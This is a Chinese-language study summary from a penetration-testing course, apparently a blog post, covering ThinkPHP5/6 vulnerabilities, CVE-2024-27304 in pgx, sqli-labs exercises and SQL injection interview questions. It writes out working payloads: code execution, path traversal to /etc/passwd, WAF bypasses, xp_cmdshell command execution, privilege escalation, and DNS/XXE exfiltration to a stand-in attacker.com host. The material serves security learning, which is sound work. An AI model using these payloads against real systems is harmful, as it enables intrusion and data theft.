渗透高级课第二次学习总结

目录

渗透高级课第二次学习总结

一、ThinkPHP框架漏洞分析

1.1 ThinkPHP5漏洞分析

1.1.1 SQL注入漏洞
知识点
  • 漏洞原理:ThinkPHP5在处理某些参数时,未对用户输入进行严格过滤,导致SQL注入漏洞
  • 影响版本:不同漏洞影响不同版本的ThinkPHP5
  • 注入类型:包括联合查询注入、布尔盲注、时间盲注等
  • 触发条件:特定的URL参数或请求方式
复现步骤

以ThinkPHP5漏洞分析之SQL注入(一)为例:

  1. 搭建ThinkPHP5漏洞环境
  2. 访问特定URL,如:http://localhost/thinkphp5/?s=index/index/index&ids[0]=bind&ids[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)#
  3. 观察页面返回的错误信息,获取数据库用户信息
  4. 进一步利用,获取数据库名称、表名、字段名等信息
  5. 最终获取敏感数据
1.1.2 文件包含漏洞
知识点
  • 漏洞原理:ThinkPHP5在处理模板渲染时,未对模板文件路径进行严格校验,导致文件包含漏洞
  • 影响版本:特定版本的ThinkPHP5
  • 利用方式:通过构造特殊的模板文件路径,包含系统敏感文件或恶意文件
复现步骤
  1. 搭建ThinkPHP5漏洞环境
  2. 访问特定URL,如:http://localhost/thinkphp5/?s=index/index/index&template=./public/../application/index/controller/../../../../etc/passwd
  3. 观察页面返回,查看是否成功包含目标文件
  4. 进一步利用,尝试包含其他敏感文件或恶意文件
1.1.3 代码执行漏洞
知识点
  • 漏洞原理:ThinkPHP5在处理某些参数时,未对用户输入进行严格过滤,导致代码执行漏洞
  • 影响版本:特定版本的ThinkPHP5
  • 利用方式:通过构造特殊的参数,执行任意PHP代码
复现步骤

以ThinkPHP5漏洞分析之代码执行(八)为例:

  1. 搭建ThinkPHP5漏洞环境
  2. 访问特定URL,如:http://localhost/thinkphp5/?s=index/index/index&name={${phpinfo()}}
  3. 观察页面是否执行phpinfo()函数
  4. 进一步利用,执行其他恶意代码
1.1.4 反序列化漏洞
知识点
  • 漏洞原理:ThinkPHP5存在不安全的反序列化操作,攻击者可以构造特殊的序列化字符串,触发POP链,执行恶意代码
  • 影响版本:ThinkPHP5.0.X、5.1.X、5.2.X
  • POP链构造:通过分析框架代码,找到可利用的魔术方法和调用链
复现步骤

以ThinkPHP5.0.X反序列化利用链为例:

  1. 搭建ThinkPHP5.0.X漏洞环境
  2. 分析框架代码,构造POP链
  3. 生成序列化字符串
  4. 通过特定方式传入序列化字符串,如Cookie、POST参数等
  5. 观察是否执行恶意代码

1.2 ThinkPHP6漏洞分析

1.2.1 任意文件创建漏洞
知识点
  • 漏洞原理:ThinkPHP6在处理文件上传时,未对文件路径进行严格校验,导致任意文件创建漏洞
  • 影响版本:ThinkPHP6.0.X
  • 利用方式:通过构造特殊的文件路径,在任意位置创建文件
复现步骤
  1. 搭建ThinkPHP6.0.X漏洞环境
  2. 构造包含特殊路径的文件上传请求
  3. 发送请求,尝试在目标位置创建文件
  4. 验证文件是否成功创建
1.2.2 反序列化漏洞
知识点
  • 漏洞原理:ThinkPHP6存在不安全的反序列化操作,攻击者可以构造特殊的序列化字符串,触发POP链,执行恶意代码
  • 影响版本:ThinkPHP6.X
  • POP链构造:通过分析框架代码,找到可利用的魔术方法和调用链
复现步骤
  1. 搭建ThinkPHP6.X漏洞环境
  2. 分析框架代码,构造POP链
  3. 生成序列化字符串
  4. 通过特定方式传入序列化字符串
  5. 观察是否执行恶意代码

二、CVE-2024-27304漏洞分析与利用

2.1 漏洞概述

知识点
  • 漏洞名称:PostgreSQL pgx库SQL注入漏洞
  • CVE编号:CVE-2024-27304
  • 影响版本:pgx v5.5.3
  • 漏洞类型:协议级SQL注入
  • 漏洞原理:通过发送超大payload导致PostgreSQL协议消息大小溢出,实现SQL注入

2.2 漏洞原理

知识点
  • PostgreSQL协议:PostgreSQL使用特定的协议消息格式进行通信
  • 消息类型
    • P(Parse):发送预处理语句
    • B(Bind):发送参数
    • Q(Query):发送简单查询
  • 溢出条件 :当pgx使用 Q(Query)B(Bind)方式发送消息时,发送超大payload可导致消息大小溢出
  • 利用方式:通过构造特定的payload,在溢出后注入恶意SQL代码

2.3 环境搭建

复现步骤
  1. 克隆漏洞环境:git clone https://github.com/your-repo/CVE-2024-27304-PoC.git
  2. 进入webapp目录:cd CVE-2024-27304-PoC/webapp
  3. 启动Docker容器:docker-compose up -d
  4. 验证服务是否启动:访问 http://localhost:8080

2.4 漏洞利用

复现步骤

以Q_nop_sled.py为例:

  1. 进入exploit目录:cd CVE-2024-27304-PoC/exploit
  2. 修改Q_nop_sled.py中的目标地址和参数
  3. 运行脚本:python Q_nop_sled.py
  4. 观察输出,验证是否成功利用漏洞
  5. 尝试登录web应用,验证是否成功创建管理员账号
注意事项
  • 该漏洞利用需要大量内存
  • 发送的payload非常大,可能导致DoS
  • 请勿对第三方系统执行此漏洞利用

三、SQL注入练习环境(sqli-labs-php7-master)

3.1 环境搭建

复现步骤
  1. 下载sqli-labs-php7-master压缩包
  2. 解压到web服务器根目录
  3. 配置数据库连接:编辑 sql-connections/sqli-connect.php文件,填入数据库信息
  4. 访问 http://localhost/sqli-labs-php7-master/,点击"Setup/reset Database for labs"
  5. 确认数据库创建成功

3.2 Less-1:基于错误的SQL注入

知识点
  • 注入类型:基于错误的SQL注入
  • 触发条件:单引号闭合的GET参数
  • 利用方式:通过构造特殊的id参数,触发SQL错误,获取数据库信息
复现步骤
  1. 访问 http://localhost/sqli-labs-php7-master/Less-1/?id=1,确认页面正常返回
  2. 访问 http://localhost/sqli-labs-php7-master/Less-1/?id=1',观察错误信息
  3. 访问 http://localhost/sqli-labs-php7-master/Less-1/?id=1' --+,确认页面正常返回
  4. 访问 http://localhost/sqli-labs-php7-master/Less-1/?id=0' union select 1,2,3 --+,查看回显位置
  5. 访问 http://localhost/sqli-labs-php7-master/Less-1/?id=0' union select 1,database(),user() --+,获取数据库名称和用户信息
  6. 进一步获取表名、字段名、敏感数据

3.3 Less-2:数字型SQL注入

知识点
  • 注入类型:数字型SQL注入
  • 触发条件:未加引号的GET参数
  • 利用方式:通过构造特殊的id参数,执行联合查询
复现步骤
  1. 访问 http://localhost/sqli-labs-php7-master/Less-2/?id=1,确认页面正常返回
  2. 访问 http://localhost/sqli-labs-php7-master/Less-2/?id=1 and 1=2,观察页面返回
  3. 访问 http://localhost/sqli-labs-php7-master/Less-2/?id=1 union select 1,2,3,查看回显位置
  4. 后续步骤与Less-1类似,获取数据库信息和敏感数据

3.4 Less-5:布尔盲注

知识点
  • 注入类型:布尔盲注
  • 触发条件:页面无直接回显,仅根据返回状态判断
  • 利用方式:通过构造布尔表达式,逐步获取数据库信息
复现步骤
  1. 访问 http://localhost/sqli-labs-php7-master/Less-5/?id=1,观察页面返回
  2. 访问 http://localhost/sqli-labs-php7-master/Less-5/?id=1' and 1=1 --+,观察页面返回
  3. 访问 http://localhost/sqli-labs-php7-master/Less-5/?id=1' and 1=2 --+,观察页面返回
  4. 使用布尔盲注脚本或手动注入,逐步获取数据库名称长度、字符等信息
  5. 进一步获取表名、字段名、敏感数据

3.5 Less-9:时间盲注

知识点
  • 注入类型:时间盲注
  • 触发条件:页面无直接回显,布尔判断也无法直接观察
  • 利用方式:通过构造时间延迟函数,根据响应时间判断注入结果
复现步骤
  1. 访问 http://localhost/sqli-labs-php7-master/Less-9/?id=1,观察页面返回
  2. 访问 http://localhost/sqli-labs-php7-master/Less-9/?id=1' and sleep(5) --+,观察页面响应时间
  3. 访问 http://localhost/sqli-labs-php7-master/Less-9/?id=1' and if(length(database())>5,sleep(5),1) --+,根据响应时间判断数据库名称长度
  4. 使用时间盲注脚本或手动注入,逐步获取数据库信息
  5. 进一步获取表名、字段名、敏感数据

四、其他学习资源

4.1 PDO绕过技术(PDOBYPASS.pdf)

知识点
  • PDO介绍:PHP Data Objects,PHP的数据库抽象层
  • PDO预处理:用于防止SQL注入的技术
  • 绕过方法:通过特定的构造,绕过PDO预处理的保护,实现SQL注入
学习步骤
  1. 阅读PDOBYPASS.pdf文档,了解PDO绕过的原理
  2. 搭建PDO测试环境
  3. 编写测试代码,验证PDO绕过技术
  4. 分析不同绕过方法的适用场景和限制
  5. 总结PDO安全编程的最佳实践

五、学习总结

5.1 核心知识点

  1. 框架漏洞分析:掌握了ThinkPHP5和ThinkPHP6框架的各类漏洞,包括SQL注入、文件包含、代码执行和反序列化
  2. 协议级漏洞:了解了CVE-2024-27304这类协议级别的SQL注入漏洞,学习了从协议层面分析和利用漏洞的方法
  3. SQL注入技术:通过sqli-labs练习,掌握了多种SQL注入类型的识别和利用方法
  4. 漏洞利用脚本编写:学习了如何编写漏洞利用脚本,如Python脚本
  5. 代码审计基础:通过分析框架漏洞代码,提高了PHP代码审计能力

5.2 实践技能

  1. 漏洞环境搭建:掌握了使用Docker、web服务器等搭建漏洞环境的方法
  2. 漏洞复现:能够独立复现各类漏洞,验证漏洞存在
  3. 漏洞利用:能够根据漏洞原理,构造利用payload,获取敏感信息或执行恶意代码
  4. 安全防护建议:了解了常见漏洞的防护方法,能够提出针对性的安全建议

六、SQL注入面试题

6.1 二次注入攻击流程

题目:假设目标网站对用户输入做了参数化查询,但存在用户注册信息回显的场景,你会如何构造二次注入攻击?请详细描述完整攻击链

答案

  • 攻击原理:数据被"安全"存入数据库后,在其他场景被取出时未经过滤直接拼接SQL语句
  • 具体步骤
    1. 注册用户时提交恶意Payload(如 admin'#
    2. 系统将Payload存入数据库时未触发注入
    3. 在密码修改功能中,当程序从数据库取出用户名并拼接SQL:UPDATE users SET password='[new_pass]' WHERE username='[恶意用户名]'
    4. 实际执行语句变为:UPDATE users SET password='hacked' WHERE username='admin'#'
  • 防御方案:所有从数据库取出的数据再次使用时仍需参数化处理

6.2 时间盲注绕过技巧

题目:当目标过滤了SLEEP()函数和BENCHMARK()函数,且请求频率受限时,你会如何构造可靠的时间盲注Payload?

答案

  • 使用重型查询制造延迟:AND (SELECT COUNT(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C)
  • 利用条件性复杂运算:AND IF(ASCII(SUBSTR((SELECT @@version),1,1))>50, EXP(1000), 1)
  • 结合DNS查询延时(需出网):AND LOAD_FILE(CONCAT('\\',(SELECT MID(@@version,1,100)),'.attacker.com\test'))

6.3 DNS外带数据利用

题目:如何通过DNS协议外带Oracle数据库的敏感数据?请写出完整Payload并解释原理

答案

  • PayloadSELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL)||'.attacker.com/"> %remote;]>'),'/l') FROM DUAL
  • 原理
    1. 利用XML外部实体(XXE)发起HTTP请求
    2. 通过字符串拼接将查询结果插入子域名
    3. 通过DNS解析日志捕获数据
  • 适用条件:Oracle 11g/12c,需要拥有UTL_HTTP权限

6.4 WAF绕过实战

题目:假设WAF检测UNION SELECT模式且过滤常见关键词,如何构造绕过Payload?给出至少三种技术方案

答案

  • 注释混淆:UNI/**/ON SEL/**/ECT 1,version()
  • 空白符变异:UNION%0bSELECT%a0@@version
  • 字符编码绕过:UNION SELECT CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)
  • 大小写混合+嵌套语句:UnIoN (sElEcT 1,(sElEcT mid(version(),1,1)))

6.5 堆叠查询利用

题目:在MSSQL环境中,如何通过堆叠查询实现操作系统命令执行?写出完整利用链

答案

  • 开启xp_cmdshell:'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
  • 执行命令:'; EXEC xp_cmdshell 'whoami';--
  • 注意事项
    1. 需要sa等高权限账户
    2. 可能受数据库配置限制
    3. 可配合CLR集成实现更复杂攻击

6.6 预编译绕过漏洞

题目:为什么参数化查询有时仍会发生SQL注入?请结合具体案例说明

答案

  • 案例 :开发者在预编译语句中动态拼接表名/列名:

    java 复制代码
    String query = "SELECT * FROM " + tableName + " WHERE id = ?";
    PreparedStatement stmt = conn.prepareStatement(query);
  • 漏洞点:表名/列名无法参数化

  • 攻击方式 :攻击者可控制表名参数:malicious_table; DROP TABLE users--

  • 防御方案:使用白名单校验表名/列名,严格限制动态拼接部分的数据类型

6.7 JSON注入漏洞

题目:当Web应用使用JSON格式与数据库交互时,可能存在哪些特殊形式的SQL注入?举例说明

答案

  • 攻击场景

    json 复制代码
    {
      "query": "SELECT * FROM users WHERE name = '{{name}}'"
    }
  • Payload

    json 复制代码
    {
      "name": "admin' OR 1=1-- "
    }
  • 深度利用

    • 在MongoDB中可能触发NoSQL注入:{"$where": "sleep(100)"}
    • PostgreSQL JSON函数注入:SELECT json_extract('{\"a\":\"' || (SELECT version()) || '\""}','$.a')

6.8 基于错误注入的利用

题目:如何通过错误回显精确提取数据?给出MySQL和MSSQL的利用函数

答案

  • MySQLAND ExtractValue(1, CONCAT(0x5c, (SELECT @@version)))
  • MSSQLAND 1=CONVERT(int, (SELECT @@version))
  • 原理:故意构造类型转换错误使数据库返回包含敏感信息的错误消息
  • 条件:服务器配置显示详细错误信息

6.9 权限提升技巧

题目:如何通过SQL注入将普通数据库用户权限提升为sysadmin?给出具体步骤

答案

  • PostgreSQL示例

    1. 检查是否为超级用户:SELECT current_setting('is_superuser')
    2. 利用CVE-2018-1058:CREATE FUNCTION sys_eval(text) RETURNS text AS '/lib/libc.so.6' LANGUAGE C RETURNS NULL ON NULL INPUT; SELECT sys_eval('whoami');
  • MySQL提权

    sql 复制代码
    GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;

七、参考资料

  1. ThinkPHP-Vuln项目:https://github.com/Mochazz/ThinkPHP-Vuln
  2. CVE-2024-27304-PoC项目
  3. sqli-labs-php7-master练习环境
  4. PostgreSQL协议文档:https://www.postgresql.org/docs/17/protocol-message-formats.html
  5. PHP官方文档:https://www.php.net/docs.php
  6. SQL注入面试题:https://mp.weixin.qq.com/s/9qviC6Zbg0x5rN0r1Tvdbg

相关推荐
线束线缆组件品替网2 小时前
Finisar AOC/DAC 在高速网络互连中的应用解析
网络·数码相机·测试工具·电脑·pcb工艺·游戏机
一条破秋裤2 小时前
面向 Q345 合金钢焊接维修的完整技术流程图方案
网络·流程图
saoys3 小时前
Opencv 学习笔记:轮廓发现(提取 + 绘制全流程)
笔记·opencv·学习
LaoZhangGong1233 小时前
学习TCP/IP的第5步:传输数据
网络·学习·tcp/ip
2401_865854883 小时前
ssl免费证书与收费证书有什么区别
网络·网络协议·ssl
奋斗者1号3 小时前
OpenSSL TLS连接认证问题排查完全指南
网络
我在人间贩卖青春3 小时前
TCP编程核心API
网络·网络协议·tcp/ip
梁辰兴3 小时前
计算机网络基础:用户数据报协议 UDP
网络·网络协议·计算机网络·udp·用户数据报协议·计算机网络基础·梁辰兴
zhangrelay4 小时前
如何让手机电脑流畅飞起低碳节能性能拉满-软件安装篇-ESR-Extended Support Release-延长支持版-LTS
linux·运维·笔记·学习